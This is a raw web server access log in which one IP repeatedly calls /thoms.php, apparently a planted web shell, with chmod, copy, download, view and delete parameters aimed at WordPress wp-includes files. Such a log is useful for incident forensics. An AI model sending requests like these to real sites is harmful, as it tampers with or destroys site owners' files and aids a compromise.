45.135.193.11 - - [11/Sep/2026:23:23:16 -0400] "GET /thoms.php?chmod=class-wp-block-styles-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-styles-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-load.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-load.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:16 -0400] "GET /thoms.php?chmod=registration.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=registration.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Frevision.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Frevision.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:17 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-customize-control.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftheme-templates.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftheme-templates.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:16 -0400] "GET /thoms.php?dl=class-wp-term-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59377 "http://163.245.207.76:443/thoms.php?dl=class-wp-term-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:17 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=update.php HTTP/1.1" 200 22702 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:17 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-paused-extensions-storage.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:17 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-customize-setting.php HTTP/1.1" 200 20188 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-customize-setting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:17 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-recovery-mode-email-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:17 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fai-client HTTP/1.1" 200 13250 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:17 -0400] "GET /thoms.php?del=class-wp-customize-setting.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-setting.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-patterns&p= HTTP/1.1" 200 12313 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-patterns&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:17 -0400] "GET /thoms.php?del=class-wp-session-tokens.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59410 "http://163.245.207.76:443/thoms.php?del=class-wp-session-tokens.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:17 -0400] "GET /thoms.php?dl=taxonomy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=taxonomy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:18 -0400] "GET /thoms.php?del=style-engine&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?del=style-engine&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:18 -0400] "GET /thoms.php?chmod=class-wp-phpmailer.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-phpmailer.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:18 -0400] "GET /thoms.php?del=admin-bar.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=admin-bar.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:18 -0400] "GET /big-wife.com.tw/wp-includes/bookmark-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:18 -0400] "GET /thoms.php?dl=category-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=category-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:18 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php HTTP/1.1" 200 12505 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11911 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:18 -0400] "GET /thoms.php?del=class-wp-theme-json-schema.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-schema.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:18 -0400] "GET /thoms.php?dl=class-oembed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-oembed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:19 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php HTTP/1.1" 200 22470 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:19 -0400] "GET /thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fdeprecated.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fdeprecated.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:19 -0400] "GET /thoms.php?del=class-oembed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-oembed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:19 -0400] "GET /thoms.php?dl=ms-network.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59376 "http://163.245.207.76:443/thoms.php?dl=ms-network.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:19 -0400] "GET /thoms.php?del=nav-menu.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=nav-menu.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:19 -0400] "GET /thoms.php?del=abilities-api&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59376 "http://163.245.207.76:443/thoms.php?del=abilities-api&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:20 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fblocks HTTP/1.1" 200 39801 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fblocks" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:20 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-dependency.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:20 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php HTTP/1.1" 200 13714 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:20 -0400] "GET /thoms.php?dl=atomlib.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59373 "http://163.245.207.76:443/thoms.php?dl=atomlib.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:20 -0400] "GET /big-wife.com.tw/wp-includes/option.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:20 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:20 -0400] "GET /thoms.php?del=ms-deprecated.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59254 "http://163.245.207.76:443/thoms.php?del=ms-deprecated.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:20 -0400] "GET /thoms.php?del=ms-settings.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59378 "http://163.245.207.76:443/thoms.php?del=ms-settings.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:21 -0400] "GET /thoms.php?chmod=admin-bar.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=admin-bar.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:21 -0400] "GET /thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11552 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:21 -0400] "GET /thoms.php?dl=default-widgets.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=default-widgets.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:21 -0400] "GET /thoms.php?dl=class.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:21 -0400] "GET /thoms.php?dl=json-schema.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59342 "http://163.245.207.76:443/thoms.php?dl=json-schema.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:21 -0400] "GET /thoms.php?del=spl-autoload-compat.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=spl-autoload-compat.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:22 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:22 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11840 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:22 -0400] "GET /thoms.php?chmod=class-wp-speculation-rules.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-speculation-rules.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:22 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=https-migration.php HTTP/1.1" 200 13675 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=https-migration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:22 -0400] "GET /big-wife.com.tw/wp-includes/class-walker-page.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:22 -0400] "GET /thoms.php?del=class-wp-image-editor-gd.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59394 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-gd.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:22 -0400] "GET /thoms.php?chmod=block-editor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=block-editor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:22 -0400] "GET /thoms.php?dl=theme.json&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=theme.json&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:23 -0400] "GET /big-wife.com.tw/wp-includes/feed-rss2-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:23 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-theme-json.php HTTP/1.1" 200 75064 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-theme-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:22 -0400] "GET /thoms.php?del=class-wp-customize-section.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-section.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:23 -0400] "GET /big-wife.com.tw/wp-includes/speculative-loading.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:23 -0400] "GET /thoms.php?chmod=feed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=feed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:23 -0400] "GET /big-wife.com.tw/wp-includes/css/ HTTP/1.1" 200 2354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:23 -0400] "GET /big-wife.com.tw/wp-includes/class-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:23 -0400] "GET /thoms.php?del=default-filters.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59407 "http://163.245.207.76:443/thoms.php?del=default-filters.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:23 -0400] "GET /big-wife.com.tw/wp-includes/class-smtp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:23 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-json.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-json.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:23 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php HTTP/1.1" 200 14091 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
